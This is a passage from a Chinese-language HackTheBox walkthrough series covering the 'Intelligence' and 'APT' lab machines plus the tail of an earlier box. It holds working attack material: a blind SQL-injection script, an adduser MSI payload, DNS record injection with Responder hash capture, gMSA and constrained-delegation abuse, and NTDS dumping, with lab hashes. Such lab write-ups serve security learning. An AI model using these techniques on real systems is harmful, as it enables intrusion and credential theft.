这两个博客适合后续先生成恶意msi

1

msfvenom -p windows/adduser USER=msi PASS=Pass@123 -f msi -o ./add.msi

传到靶机上

1

msiexec.exe /quiet /qn /i add.msi

1

evil-winrm -i 10.10.10.239 -u msi -p Pass@123

结束

提权部分还是很方便的基本都是关于介绍这个漏洞的博客多看几个就了解原理了在getshell部分我忘了关键的一步 https他是有证书的证书上面可能有域名那个域名可能就是突破口不过 sql注入也是没问题的我在sql注入上卡了很久最后跑60位的密码的时候太慢了我看了wp的下一步才发现我完全错了我拿到了密码我尝试在rockyou里找相同但是rockyou里面没有那个密码也就是就算我把60位跑出来了我再进行暴力破解明文也不行 sql注入那里的数据库权限大概率为root 我只判断了第一位是否为r就没管了我尝试再添加一个用户到数据库中但是并不行在我进行sql注入的时候卡了很久我在这里构造的payload都是基于别人发出来的构造的我自己构造的完全没用

类似于上面这个我把他的payload搞下来发现能延时再根据他的改的才是我的poc里用的我自己尝试的都不行延时之后构造poc也花了很多时间跑的时候也花时间社区版的burpsuite暴力破解卡的很没有多线程而且尝试拼接其他很多命令也都不行回包会报错

在源码里它是先执行了sql语句才报错的按理来说sql语句应该执行了才对

但结果就是没有执行成功

frp搭建隧道将靶机的3306搭建到本地6000

空密码我先上来看看我之前的操作到底有没有用

没用

也没用

到此结束还是需要多打靶场思路再清晰一点

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76


import requests

cookies = {
 'PHPSESSID': 'c8kjhdoo2juviv0rfkgsop4tol',
}

li = list('ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()_+-=[]{}|;:,.<>?/~`"\'\\')

# for i in li:
# print(i)

headers = {
 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
 'Accept-Language': 'zh-CN,zh;q=0.9',
 'Cache-Control': 'max-age=0',
 'Content-Type': 'application/x-www-form-urlencoded',
 # 'Cookie': 'PHPSESSID=c8kjhdoo2juviv0rfkgsop4tol',
 'Origin': 'http://10.10.10.239',
 'Proxy-Connection': 'keep-alive',
 'Referer': 'http://10.10.10.239/admin/index.php',
 'Upgrade-Insecure-Requests': '1',
 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36',
}

# database
# temp = ''
#
# for temp_number in range(1,11):
# for i in li:
# import time
# start = time.time()
# data = f'username=%27+AND+%28SELECT+2487+FROM+%28SELECT%28SLEEP%28IF%28SUBSTR%28database%28%29%2C{str(temp_number)}%2C1%29%3D%27{i}%27%2C5%2C0%29%29%29%29WYpt%29+AND+%27hBVQ%27%3D%27hBVQ&password=12&login='
# response = requests.post('http://10.10.10.239/admin/login.php', cookies=cookies, headers=headers, data=data)
# end = time.time()
# print(i,str(end-start))
# if end-start >= 5.0:
# temp += i
# print(temp)
# break
#
# print(temp)

# username
# temp = ''
#
# for temp_number in range(1,6):
# for i in li:
# import time
# start = time.time()
# data = f'%27+AND+%28SELECT+2487+FROM+%28SELECT%28SLEEP%28IF%28SUBSTR%28%28SELECT+username+FROM+admin%29%2C{str(temp_number)}%2C1%29%3D%27{i}%27%2C5%2C0%29%29%29%29WYpt%29+AND+%27hBVQ%27%3D%27hBVQ'
# response = requests.post('http://10.10.10.239/admin/login.php', cookies=cookies, headers=headers, data=data)
# end = time.time()
# print(i,str(end-start))
# if end-start >= 5.0:
# temp += i
# print(temp)
# break
#
# print(temp)

temp = ''

for temp_number in range(1,61):
 for i in li:
 import time
 start = time.time()
 data = f'username=%27+AND+%28SELECT+2487+FROM+%28SELECT%28SLEEP%28IF%28SUBSTR%28%28SELECT+password+FROM+admin+WHERE+username%3D%22admin%22%29%2C{str(temp_number)}%2C1%29%3D%27{i}%27%2C5%2C0%29%29%29%29WYpt%29+AND+%27hBVQ%27%3D%27hBVQ&password=12&login='
 response = requests.post('http://10.10.10.239/admin/login.php', cookies=cookies, headers=headers, data=data)
 end = time.time()
 print(i,str(end-start))
 if end-start >= 5.0:
 temp += i
 print(temp)
 break

print(temp)

19.Intelligence

信息收集：

既然有53就先去80收集域名然后看看

80端口

域名：intelligence.htb

53 domain

135

有部分权限

1

rpcclient -U "" -c 'enumdomusers;enumdomgroups;enumjobs;enumkey;enumports;enumprinters;enumprivs;enumtrust;enumforms;enumdrivers;quit' -N 10.10.10.248

只有enumprivs能成功没什么东西

139/445

ldap

没什么东西这些信息我之前就拿过了

这些服务也算看完了 80端口爆破啥东西也没有再仔细看看把我刚刚用的dnsenum他会从53端口爆破子域名但是没有结果我这里用FFUF自己爆破把

1

wfuzz -c -w /usr/share/wordlists/SecLists-master/Discovery/DNS/bitquark-subdomains-top100000.txt -u http://10.10.10.248 -H "Host: FUZZ.intelligence.htb" --hh 7432

然后我把目光放到了udp上 udp的服务只有123跟其他不一样因为udp的53 88 389跟tcp没区别就这个123 ntp没见过

https://book.hacktricks.xyz/network-services-pentesting/pentesting-ntp

这里有payload

也没啥东西

太奇怪了在前面很多靶场里面我感觉我已经把域方面的信息收集已经了解的很透彻了但是这里我全收集完了出了一个主域以外啥也没有可能是要打exp？

也不行卡住了

但是我在80端口翻到了两个文件

http://intelligence.htb/documents/2020-12-15-upload.pdf

http://intelligence.htb/documents/2020-01-01-upload.pdf

这两个文件里没啥东西

strings还是head都没看出来这个PDF上面也没东西我以为是凯撒加密去解也没东西

也没找到什么域名也没东西

有点难完全没思路了看了下一步的wp

这个文本我也是第一次见获得详细信息的方式我也是第一次见先去学习一下这两个吧

Lorem Ipsum风格文本一般包含重复的拉丁文语

PDF文件元数据分析(用到ExifTool) 可以提取元数据来获取信息

除了做取证的我感觉我想不到这里有这一出知道切入点就行了

找到了两个creator 两个用户名确实是存在的

拿到帐号了用这个

没东西

根据网页里pdf的构造方式

http://dc.intelligence.htb/documents/2020-01-01-upload.pdf

能确定他就是以年月日来命名的可能还会有些隐藏的这种文件而我要提取他们

我开始尝试构造poc

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28


import datetime
import requests

headers = {
 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
 'Accept-Language': 'zh-CN,zh;q=0.9',
 'Cache-Control': 'max-age=0',
 # 'If-Modified-Since': 'Thu, 01 Apr 2021 17:00:00 GMT',
 # 'If-None-Match': '"0e86d731827d71:0"',
 'Proxy-Connection': 'keep-alive',
 'Referer': 'http://dc.intelligence.htb/',
 'Upgrade-Insecure-Requests': '1',
 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36',
}

start_date = datetime.date(2020,1,1)
end_date = datetime.date(2022,1,1)
dalta = datetime.timedelta(days=1)

date_list = []

while start_date < end_date:
 date_list.append(start_date)
 response = requests.get(f'http://intelligence.htb/documents/{start_date}-upload.pdf', headers=headers)
 start_date += dalta
 if response.status_code == 200:
 print(f'http://intelligence.htb/documents/{start_date}-upload.pdf')
 open('./url.txt','a',encoding='utf-8').write(f'http://intelligence.htb/documents/{start_date}-upload.pdf\n')

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36


import PyPDF2
import requests
from io import BytesIO
import datetime

headers = {
 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
 'Accept-Language': 'zh-CN,zh;q=0.9',
 'Cache-Control': 'max-age=0',
 'Proxy-Connection': 'keep-alive',
 'Referer': 'http://intelligence.htb/',
 'Upgrade-Insecure-Requests': '1',
 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36',
}

start_date = datetime.date(2020,1,1)
end_date = datetime.date(2022,1,1)
dalta = datetime.timedelta(days=1)

def Evidence(start_date):
 try:
 response = requests.get(f'http://intelligence.htb/documents/{start_date}-upload.pdf', headers=headers)
 pdffile = PyPDF2.PdfFileReader(BytesIO(response.content))
 docinfo = pdffile.getDocumentInfo()
 # print('[*] PDF metadata For：'+ str(filepath))
 for metaItem in docinfo:
 print(f'http://intelligence.htb/documents/{start_date}-upload.pdf', end=' ')
 print(metaItem.strip('/'), ":", docinfo[metaItem])
 open('users.txt', 'a', encoding='utf-8').write(docinfo[metaItem] + '\n')
 except Exception as e:
 pass

if __name__ == '__main__':
 while start_date < end_date:
 Evidence(start_date)
 start_date += dalta

值得一提的是如果header携带了下面这两个回包会一直是304

1
2


# 'If-Modified-Since': 'Thu, 01 Apr 2021 17:00:00 GMT',
# 'If-None-Match': '"0e86d731827d71:0"',

我尝试去找SPN账号的hash 但是都没有总感觉遗漏了什么

我新建了一个test.py 将所有pdf的文本全部下载下来写入test.txt里方便我挨个看

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35


import PyPDF2
import requests
from io import BytesIO
import datetime

headers = {
 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
 'Accept-Language': 'zh-CN,zh;q=0.9',
 'Cache-Control': 'max-age=0',
 'Proxy-Connection': 'keep-alive',
 'Referer': 'http://intelligence.htb/',
 'Upgrade-Insecure-Requests': '1',
 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36',
}

start_date = datetime.date(2020,1,1)
end_date = datetime.date(2022,1,1)
dalta = datetime.timedelta(days=1)

def Evidence(start_date):
 try:
 response = requests.get(f'http://intelligence.htb/documents/{start_date}-upload.pdf', headers=headers)
 pdffile = PyPDF2.PdfFileReader(BytesIO(response.content))
 docinfo = pdffile.getDocumentInfo()
 # print('[*] PDF metadata For：'+ str(filepath))
 for index, page in enumerate(pdffile.pages): # 遍历所有页面
 open('test.txt', 'a', encoding='utf-8').write(f'http://intelligence.htb/documents/{start_date}-upload.pdf\n')
 open('test.txt', 'a', encoding='utf-8').write(page.extract_text()+'\n\n\n\n\n\n\n')
 except Exception as e:
 pass

if __name__ == '__main__':
 while start_date < end_date:
 Evidence(start_date)
 start_date += dalta

上面的代码参考了很多博客因为我第一次了解到PyPDF2库和from io import BytesIO这个操作再开始写的时候遇到了很多误区找的几个库都无法使用或者很麻烦对我帮助比较大的博客如下如果想自行构造这些poc 大概率也要参考这些博客

https://blog.csdn.net/qq_39147299/article/details/125677918

https://blog.csdn.net/weixin_43047908/article/details/115769321

https://cloud.tencent.com/developer/article/1477328

https://gist.github.com/ceaksan/25034d9bd4496ea953082d2cfa831ad1 #这个帮助最大

找到了默认密码这样就可以暴力破解了

1
2
3


NewIntelligenceCorpUser9876

crackmapexec smb 10.10.10.248 -u users.txt -p NewIntelligenceCorpUser9876 --continue-on-success

只找到一个凭据

1

ntelligence.htb\Tiffany.Molina:NewIntelligenceCorpUser9876

靶机没开winrm 所以这里不能直接连进去有了凭证之后之前看的所有服务都能用这个凭证再去收集一下信息

SMB

SYSVOL 我打算利用SYSVOL还原组策略中保存的密码但是没用保存密码

Users 就是windows下的Users文件夹 flag如下

SMB确实拿不到shell 但是放眼望去除了SMB能拿到信息以外其他服务想要getshell就更不现实了我猜测IIS的网站目录可能就在Users里面我还发现了一个IT文件夹里面就一个文件内容如下

 1
 2
 3
 4
 5
 6
 7
 8
 9
10


# Check web server status. Scheduled to run every 5min
Import-Module ActiveDirectory
foreach($record in Get-ChildItem "AD:DC=intelligence.htb,CN=MicrosoftDNS,DC=DomainDnsZones,DC=intelligence,DC=htb" | Where-Object Name -like "web*") {
try {
$request = Invoke-WebRequest -Uri "http://$($record.Name)" -UseDefaultCredentials
if(.StatusCode -ne 200) {
Send-MailMessage -From 'Ted Graves <Ted.Graves@intelligence.htb>' -To 'Ted Graves <Ted.Graves@intelligence.htb>' -Subject "Host: $($record.Name) is down"
}
} catch {}
}

我想到一件事他提到了这个文件隔五分钟运行一次我如果能修改这个文件那就能拿到shell了

但是删不了这个文件也不能上传覆盖没有权限而且整个目录都不能写 powershell一直是我的弱项这里我尝试读懂它

1
2
3
4
5
6
7
8
9


Import-Module ActiveDirectory
foreach($record in Get-ChildItem "AD:DC=intelligence.htb,CN=MicrosoftDNS,DC=DomainDnsZones,DC=intelligence,DC=htb" | Where-Object Name -like "web*") {
try {
$request = Invoke-WebRequest -Uri "http://$($record.Name)" -UseDefaultCredentials
if(.StatusCode -ne 200) {
Send-MailMessage -From 'Ted Graves <Ted.Graves@intelligence.htb>' -To 'Ted Graves <Ted.Graves@intelligence.htb>' -Subject "Host: $($record.Name) is down"
}
} catch {}
}

Get-ChildItem获得dns处的所有以web开头的域名遍历所有域名然后以默认权限发送请求到到目标域名如果返回值不为200 那么他会以Ted.Graves@intelligence.htb的身份给Ted.Graves@intelligence.htb发一封邮件表示这个域名所在的服务已经被关闭了

看到跟dns有关的时候我找到了dnstool.py 这个是我唯一记录的跟dns有关的poc 我记录的命令并没有效果

这里的提示我可以添加修改删除AD集成的DNS记录后续如何利用我完全想不通了

如果我去将web开头的域名改成我的然后让他访问失败他也只会给他自己发送一个邮件邮件内容怎么构造的我也能看到所以篡改域名对我来说貌似没大用处

我又开始读那个powershell

1

$request = Invoke-WebRequest -Uri "http://$($record.Name)" -UseDefaultCredentials

向目标发包验证存活用的是默认凭证我这里无法明白的是请求url为什么要携带默认凭证突然就有点理解了在域内互相访问资源的时候都必须要携带凭证才能访问不然会回包401需要认证为了防止这种情况发生所以加了-UseDefaultCredentials参数而当我们篡改了dns记录里面的域名目标向我们发包的时候就可以捕获NTLM或Kerberos密文凭据再进行解密就行

https://www.praetorian.com/blog/unconstrained-delegation-active-directory/

这个博客里我找到了添加的方法

但是拼接好了还是报错如果让我自己拼接命令可能有点困难改命令虽然也难弄但至少工作量少点错误少点

我开始看命令介绍 https://github.com/dirkjanm/krbrelayx 改了之后更改成功了

1

python3 dnstool.py ldap://10.10.10.248:389 -u 'intelligence.htb\Tiffany.Molina' -p 'NewIntelligenceCorpUser9876' -r webtest.intelligence.htb -a add -t A -d 10.10.16.14

结果等了半天没反应我接着看参数然后对比了一下原始的命令

1

python3 dnstool.py -u 'intelligence.htb\Tiffany.Molina' -p 'NewIntelligenceCorpUser9876' -r webtest.intelligence.htb -a add -t A -d 10.10.16.14 10.10.10.248

可能我不应该去加那个ldap指定端口我直接把ip加到最后面了

这次没问题了没有报错

原来正确的记录后面是会跟着IP的可以看到上面的那个是我之前的命令后面没有IP 也就是没有记录成功把我不清楚记录了两个一样的域名一个有IP一个没有会不会导致报错所以我又写了一个web开头的域名

收到了请求但是为什么没有凭证呢？可能这不是一个真正的http服务我尝试开一个flask 这个能接收到

还是接收不到凭据我尝试用wireshark 也没有任何作用

到这里我是真的没思路了看了眼wp 他提到了Responder这个工具我开始找方法

1

responder -I tun0

1
2
3
4


[HTTP] NTLMv2 Client : 10.10.10.248
[HTTP] NTLMv2 Username : intelligence\Ted.Graves
[HTTP] NTLMv2 Hash : Ted.Graves::intelligence:3b267a46c774400f:A842C01024C9E8EA01810E4BEE6A41F4:0101000000000000EC36E0307347DB010E813ACCADA649140000000002000800390045003800390001001E00570049004E002D005A004A004500570048003400470041003400540038000400140039004500380039002E004C004F00430041004C0003003400570049004E002D005A004A004500570048003400470041003400540038002E0039004500380039002E004C004F00430041004C000500140039004500380039002E004C004F00430041004C000800300030000000000000000000000000200000583346B9E2E4E1103C4197AA4C60C45E679C02E8DE8EC1AA5F81F4BAA6624FBB0A0010000000000000000000000000000000000009003A0048005400540050002F0077006500620074006500730074002E0069006E00740065006C006C006900670065006E00630065002E006800740062000000000000000000
[*] Skipping previously captured hash for intelligence\Ted.Graves

NTLMv2是5600 直接调用就行

1
2
3


hashcat -m 5600 1.txt /usr/share/wordlists/rockyou.txt

Ted.Graves:Mr.Teddy

没问题登录是完全无法登录的这里用bloodhound远程获取一下刚刚那个账号我尝试获取了但是报错我看看这个账号行不行

我去google了下貌似我这个参数是错的 dc的名称我之前信息收集弄到了就是DC 但是还会报错

https://blog.csdn.net/gitblog_00797/article/details/142076858

这个博客给的payload是-ns 指向dns服务器就行

1

bloodhound-python -d intelligence.htb -u Ted.Graves -p Mr.Teddy -ns 10.10.10.248 -c all

分析了之后发现两个点

当前用户再administrator组里面但是受到UAC限制默认情况是以当前用户权限运行的要想获得管理员权限得在命令行运行下面的命令

1
2
3


runas /user:administrator cmd.exe
psexec -i -s cmd.exe
Start-Process cmd.exe -Verb RunAs

前提是我得获得shell 所以这条路不能走

第二个点是他提到了有一个约束委派的服务账号SVC_INT$

可以通过它来伪造administrator的st 针对某个服务就行这里思路就清晰了

不知道为什么拿不到他的hash 我仔细看了下这个图找到了第二条线

我不了解这个是啥 google之后我找到了这个博客 https://www.thehacker.recipes/ad/movement/dacl/readgmsapassword

1
2
3
4
5
6
7
8


python gMSADumper.py -u Ted.Graves -p Mr.Teddy -d intelligence.htb

Users or groups who can read password for svc_int$:
 > DC$
 > itsupport
svc_int$:::8ee3b94d589dba78682293e1281bd394
svc_int$:aes256-cts-hmac-sha1-96:ba3ed0df6c5352e26ba7611354f901c89554733bab88094e8afbaca7368b3a80
svc_int$:aes128-cts-hmac-sha1-96:ab353763ac9cd6431a09819326a4daee

到这一步先暂停我开始了解这个方法的原理

根据这个逻辑

只有ITSUPPORT@INTELLIGENCE.HTB组才能利用GMSA获取svc的密码实际上当前用户没有这个组的权限

至少当前页面是这样的我重新检索了一下

没有问题就是这个组的成员刚刚没有显示出来而已所以才能利用

1
2


ntpdate -u intelligence.htb && date
getST.py -hashes :8ee3b94d589dba78682293e1281bd394 -spn cifs/intelligence.htb -dc-ip 10.10.10.248 -impersonate Administrator intelligence.htb/SVC_INT

不知道为什么一直报错想了一会想到约束委派应该是有一个特定的服务的而不是我想要什么就是什么还是得去找

找到了

1
2


ntpdate -u intelligence.htb && date
getST.py -hashes :8ee3b94d589dba78682293e1281bd394 -spn WWW/dc.intelligence.htb -dc-ip 10.10.10.248 -impersonate Administrator intelligence.htb/SVC_INT

没问题了根据约束委派的教程先设置环境变量

1
2


export KRB5CCNAME=Administrator@WWW_dc.intelligence.htb@INTELLIGENCE.HTB.ccache
/usr/share/doc/python3-impacket/examples/wmiexec.py intelligence.htb/administrator@dc.intelligence.htb -k -no-pass

结束

这个靶场是我最近这段时间耗时最长的靶场而且一路上接收新东西搞得有点发昏期间还睡了一觉不光如此 wp我还看了两次如果说前面的所有靶场的都是了解域控的基本流程渗透那这个靶场就是把前面的技巧全部总结了各种出其不意在我思考攻击链的路上一直不断试错一直看哪出了问题不得不说这个博客对我这段时间的域渗透有着很大的帮助有一种总结的作用 https://0range-x.github.io/2022/01/26/Domain-penetration_one-stop/ 在里面他虽然每一个地方只提到了一句但是有切入点之后再去搜工具服务的详细信息详细利用就非常容易展开了而且关于上面用到的所有技术这里面都有而我刚开始学的时候也是按照这个流程学的

20.APT

可以看到难度非常高

信息收集:

两个名称把

1
2


W3layouts
HTTrack

这是套用被人的模板他也做了声明我现在需要找是哪个模板如何没有后端的话就代表我不需要在这里努力了如果存在后端我尝试下载源码就行可惜的是我并没有找到但是我尝试了jsfinder帮我去找可能存在的url 他也没有任何提示也就是这就是一个纯前端的网站可能有隐藏的这只能靠目录爆破来找隐藏的

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17


python /home/kali/hackthebox/JSFinder-master/JSFinder.py -u http://10.10.10.213/ -d -j

ALL Find 8 links
url:http://10.10.10.213/index.html
Remaining 8 | Find 0 URL in http://10.10.10.213/index.html
url:http://10.10.10.213/#
Remaining 7 | Find 0 URL in http://10.10.10.213/#
url:http://10.10.10.213/services.html
Remaining 6 | Find 0 URL in http://10.10.10.213/services.html
url:http://10.10.10.213/clients.html
Remaining 5 | Find 0 URL in http://10.10.10.213/clients.html
url:http://10.10.10.213/about.html
Remaining 4 | Find 0 URL in http://10.10.10.213/about.html
url:http://10.10.10.213/support.html
Remaining 3 | Find 0 URL in http://10.10.10.213/support.html
url:http://10.10.10.213/news.html
Remaining 2 | Find 0 URL in http://10.10.10.213/news.html

这里面我知道找到一个email 有域名

1
2


sales@gigantichosting.com
gigantichosting.com

我将它添加到我的hosts里面然后访问一下http服务看看会不会改变然后我再通过FFUF爆破子域名(并没有什么区别这个域名没有效果)

1

wfuzz -c -w /usr/share/wordlists/SecLists-master/Discovery/DNS/bitquark-subdomains-top100000.txt -u http://10.10.10.213 -H "Host: FUZZ.gigantichosting.com" --hh 14879

80端口全看完了该去看看rpc了

在看RPC之前我看了靶场的介绍

他提到了这是一个非常困难的机器 RPC枚举可以找到IPV6的地址然后对IPV6进行渗透全部都由我自行搜索的话我肯定我是无法完成这个靶机的跟之前一样遇到非常难的靶机的时候我会跟随WP一直做直到我能自行操作的地方因为我看有些WP他们也是基于学习的目的来做这个靶场的重要的是转化成自己的东西

看wp下一步是用rpcmap.py去找信息作为切入点我也尝试了常规的rpcclient空账号密码访问没有效果

1
2
3
4
5
6
7
8
9


rpcclient:
 主要用于SMB/CIFS服务
 Windows域环境中常用
 需要凭据

rpcmap.py/rpcdump.py:
 专注于RPC端点枚举
 不需要凭据
 可以发现更多RPC接口

有切入点开始搜索教程下面的博客讲的很好

https://tenaka.gitbook.io/pentesting/enumeration/ldap-ad-dc/rpc

https://www.cnblogs.com/yuantest/p/15738148.html#smbmsrpc

https://juggernaut-sec.com/ad-recon-msrpc/

我开始尝试

1

rpcmap.py 'ncacn_ip_tcp:10.10.10.213'

还是根据 https://juggernaut-sec.com/ad-recon-msrpc/ 这个博客的提示(我尽量避免看wp的同时进行学习在后面我可能也会遇到我没见过的服务如果没有wp 我只能靠这种方式)

他提到了要主要注重99FCFEC4-5260-101B-BBCB-00AA0021347A

刚好我这里的结果也有这个

非常契合APT这个靶场我都怀疑是不是WP了但实际上并不是他讲述了针对rpc的所有方法这个博客里给的链接都失效了我根据他的py名称找到了项目地址

https://github.com/mubix/IOXIDResolver

1
2
3
4
5


python IOXIDResolver.py -t 10.10.10.213
[*] Retrieving network interface of 10.10.10.213
Address: apt
Address: 10.10.10.213
Address: dead:beef::b885:d62a:d679:573f

成功复现

没有问题能通为了方便我给他取了一个域名放入hosts里或者nmap ipv6扫描都行

现在才正式开始

80端口 没什么区别暂时不爆破没其他方法了在爆破因为爆破很卡

135 rpc

1

rpcclient -U "" -N -c 'enumdomusers;enumdomgroups;enumjobs;enumkey;enumports;enumprinters;enumprivs;enumtrust;enumforms;enumdrivers;quit' apt.htb

一个权限都没有

389 ldap

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15


nmap -n -sV --script "ldap* and not brute" -p 389 -6 apt.htb

| dnsHostName: apt.htb.local
| ldapServiceName: htb.local:apt$@HTB.LOCAL
| subschemaSubentry: CN=Aggregate,CN=Schema,CN=Configuration,DC=htb,DC=local
| dsServiceName: CN=NTDS Settings,CN=APT,CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Configuration,DC=htb,DC=local
| namingContexts: DC=htb,DC=local
| namingContexts: CN=Configuration,DC=htb,DC=local
| namingContexts: CN=Schema,CN=Configuration,DC=htb,DC=local
| namingContexts: DC=DomainDnsZones,DC=htb,DC=local
| namingContexts: DC=ForestDnsZones,DC=htb,DC=local
| defaultNamingContext: DC=htb,DC=local
| schemaNamingContext: CN=Schema,CN=Configuration,DC=htb,DC=local
| configurationNamingContext: CN=Configuration,DC=htb,DC=local
| rootDomainNamingContext: DC=htb,DC=local

域名是htb.local 这样的话我得把hosts里面的域名改了没认证没权限

445 smb

1
2


enum4linux -a -u "" -p "" htb.local && enum4linux -a -u "guest" -p "" htb.local
smbclient -U '%' -L //htb.local && smbclient -U 'guest%' -L //htb.local

1
2
3
4
5
6
7
8
9


smbclient -U '%' -L //htb.local && smbclient -U 'guest%' -L //htb.local

	Sharename Type Comment
	--------- ---- -------
	backup Disk
	IPC$ IPC Remote IPC
	NETLOGON Disk Logon server share
	SYSVOL Disk Logon server share
htb.local is an IPv6 address -- no workgroup available

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14


[+] Attempting to map shares on htb.local

//htb.local/backup	Mapping: OK Listing: OK Writing: N/A
//htb.local/IPC$	Mapping: OK Listing: DENIED Writing: N/A

[E] Can't understand response:

do_connect: Connection to apt.htb.local failed (Error NT_STATUS_UNSUCCESSFUL)
//htb.local/NETLOGON	Mapping: N/A Listing: N/A Writing: N/A

[E] Can't understand response:

do_connect: Connection to apt.htb.local failed (Error NT_STATUS_UNSUCCESSFUL)
//htb.local/SYSVOL	Mapping: N/A Listing: N/A Writing: N/A

1
2
3


crackmapexec smb htb.local
SMB htb.local 445 APT [*] Windows Server 2016 Standard 14393 x64 (name:APT) (domain:htb.local) (signing:True) (SMBv1:True)
445/tcp open microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds (workgroup: HTB)

上面就是所有信息根据提示可以访问的有backup和IPC$

backup里面有个backup.zip 要一个G 下载太慢直接断开了然后我又访问了几次

连不上了重启之后就好了我开始找能直接在smb下载文件的命令不要断开那种

1
2


smbget -R smb://htb.local/backup #这个要求ip而不是域名 所以不行
mount -t cifs //htb.local/backup/ ./backup	#也不行

针对我学的常规域渗透就差一个53的域名查询了接着来吧

53 dns

这个不行重新爆破新80端口

这完全没区别百分之百就是445的backup.zip 那个里面有东西我尝试看看报错然后尝试下载

https://unix.stackexchange.com/questions/31900/smbclient-alternative-for-large-files

这个博客里的有几种解决方法下面这个方法可以下载成功

1

smbclient -m SMB2 -N '//htb.local/backup' -c 'timeout 120; iosize 16384; get backup.zip'

需要密码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10


zip2john backup.zip > passwd.hash
ver 2.0 backup.zip/Active Directory/ is not encrypted, or stored with non-handled compression type
ver 2.0 backup.zip/Active Directory/ntds.dit PKZIP Encr: cmplen=8483543, decmplen=50331648, crc=ACD0B2FB ts=9CCA cs=acd0 type=8
ver 2.0 backup.zip/Active Directory/ntds.jfm PKZIP Encr: cmplen=342, decmplen=16384, crc=2A393785 ts=9CCA cs=2a39 type=8
ver 2.0 backup.zip/registry/ is not encrypted, or stored with non-handled compression type
ver 2.0 backup.zip/registry/SECURITY PKZIP Encr: cmplen=8522, decmplen=262144, crc=9BEBC2C3 ts=9AC6 cs=9beb type=8
ver 2.0 backup.zip/registry/SYSTEM PKZIP Encr: cmplen=2157644, decmplen=12582912, crc=65D9BFCD ts=9AC6 cs=65d9 type=8
NOTE: It is assumed that all files in each archive have the same password.
If that is not the case, the hash may be uncrackable. To avoid this, use
option -o to pick a file at a time.

只有关键的需要密码 ntds.dit SYSTEM SECURITY

1
2


zip2john backup.zip > passwd.hash -o ntds.dit
zip2john backup.zip

1

backup.zip:$pkzip$4*1*1*0*8*24*9beb*0f135e8d5f02f852643d295a889cbbda196562ad42425146224a8804421ca88f999017ed*1*0*8*24*65d9*2a1c4c81fb6009425c2d904699497b75d843f69f8e623e3edb81596de9e732057d17fae8*1*0*8*24*acd0*0949e46299de5eb626c75d63d010773c62b27497d104ef3e2719e225fbde9d53791e11a5*2*0*156*4000*2a393785*81733d*37*8*156*2a39*0325586c0d2792d98131a49d1607f8a2215e39d59be74062d0151084083c542ee61c530e78fa74906f6287a612b18c788879a5513f1542e49e2ac5cf2314bcad6eff77290b36e47a6e93bf08027f4c9dac4249e208a84b1618d33f6a54bb8b3f5108b9e74bc538be0f9950f7ab397554c87557124edc8ef825c34e1a4c1d138fe362348d3244d05a45ee60eb7bba717877e1e1184a728ed076150f754437d666a2cd058852f60b13be4c55473cfbe434df6dad9aef0bf3d8058de7cc1511d94b99bd1d9733b0617de64cc54fc7b525558bc0777d0b52b4ba0a08ccbb378a220aaa04df8a930005e1ff856125067443a98883eadf8225526f33d0edd551610612eae0558a87de2491008ecf6acf036e322d4793a2fda95d356e6d7197dcd4f5f0d21db1972f57e4f1543c44c0b9b0abe1192e8395cd3c2ed4abec690fdbdff04d5bb6ad12e158b6a61d184382fbf3052e7fcb6235a996*$/pkzip$

将上面的hash放入文件里然后解就行

1
2
3
4
5
6
7
8
9


john ./hash --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
iloveyousomuch (backup.zip)
1g 0:00:00:00 DONE (2024-12-06 12:42) 50.00g/s 819200p/s 819200c/s 819200C/s 123456..cocoliso
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

成功了接下来解HTLM就行而且winrm开着的能直接进

1

/usr/share/doc/python3-impacket/examples/secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL > htlm.txt

有一堆账号先把他们提取出来再进行爆破

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16


import re

temp_htlm = open('htlm.txt','r',encoding='utf-8').readlines()
for i in temp_htlm:
 temp = i.replace('\n','')
 if 'endstop' in temp:
 break
 temp = temp.split(':')
 try:
 print(temp[0])
